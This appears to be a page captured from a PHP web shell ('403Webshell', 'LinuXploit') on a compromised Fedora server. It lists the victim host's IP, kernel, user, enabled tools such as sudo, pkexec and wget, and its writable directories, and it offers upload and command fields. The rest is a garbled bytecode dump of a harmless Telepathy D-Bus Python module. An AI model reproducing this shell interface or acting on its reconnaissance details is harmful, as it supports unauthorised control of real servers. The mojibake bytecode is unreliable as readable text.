403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/telepathy/_generated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyo
Ñò
L7‹Jc@s2dZddkZdeiifd„ƒYZdS(sPCopyright (C) 2008 Collabora Limited
Copyright (C) 2008 Nokia Corporation

    This library is free software; you can redistribute it and/or
      modify it under the terms of the GNU Lesser General Public
      License as published by the Free Software Foundation; either
      version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
      but WITHOUT ANY WARRANTY; without even the implied warranty of
      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
      Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
      License along with this library; if not, write to the Free Software
      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,
      USA.
  
iÿÿÿÿNtConnectionInterfaceRequestscBs§eZdZd„Zeiidddddƒd„ƒZeiidddddƒd	„ƒZeii	dd
dƒd„ƒZ
eii	dd
d
ƒd„ƒZRS(s¬      An enhanced version of the Telepathy connection interface, which can
        represent bundles of channels that should be dispatched together, and
        does not assume any particular properties by which channels are
        uniquely identifiable.

      If this interface is implemented on a connection, then
        NewChannels MUST be emitted for
        all new channels, even those created with RequestChannel.
    cCs|iidƒdS(Ns7org.freedesktop.Telepathy.Connection.Interface.Requests(t_interfacestadd(tself((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyt__init__&ss7org.freedesktop.Telepathy.Connection.Interface.Requeststin_signaturesa{sv}t
out_signaturesoa{sv}cCs
t‚dS(s£
        Request that an entirely new channel is created.

        
          There is deliberately no flag corresponding to the
            suppress_handler argument to
            Connection.RequestChannel,
            because passing a FALSE value for that argument is deprecated.
            Requests made using this interface always behave as though
            suppress_handler was TRUE.
        

      
        N(tNotImplementedError(RtRequest((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyt
CreateChannel)ssboa{sv}cCs
t‚dS(sà
        Request that channels are ensured to exist.

        
          The connection manager is in the best position to determine which
            existing channels could satisfy which requests.
        

      
        N(R(RR((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyt
EnsureChannel;st	signatures	a(oa{sv})cCsdS(st
        New channels have been created. The connection manager SHOULD emit
          a single signal for any group of closely related channels that are
          created at the same time, so that the channel dispatcher can try to
          dispatch them to a handler as a unit.

        In particular, if additional channels are created as a side-effect
          of a call to CreateChannel,
          these channels SHOULD appear in the same NewChannels signal as
          the channel that satisfies the request.

        
          Joining a MUC Tube in XMPP requires joining the corresponding
            MUC (chatroom), so a Text
            channel can be created as a side-effect.
        

        Every time NewChannels is emitted, it MUST be followed by
          a Connection.NewChannel
          signal for each channel.

        
          The double signal emission is for the benefit of older Telepathy
            clients, which won't be listening for NewChannels.

          The more informative NewChannels signal comes first so that
            clients that did not examine the connection to find
            out whether Requests is supported will see the more informative
            signal for each channel first, and then ignore the less
            informative signal because it announces a new channel of which
            they are already aware.
        
      
        N((RtChannels((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pytNewChannelsIs$tocCsdS(s+
        Emitted when a channel is closed and hence disappears from the
        Channels property.

        
          This is redundant with the Closed
          signal on the channel itself, but it does provide full change
          notification for the Channels property.
        
      
        N((RtRemoved((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyt
ChannelClosedos
(t__name__t
__module__t__doc__RtdbustservicetmethodR	R
tsignalR
R(((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyRs
	''!&(Rtdbus.serviceRRt	InterfaceR(((sV/usr/lib/python2.6/site-packages/telepathy/_generated/Connection_Interface_Requests.pyt<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit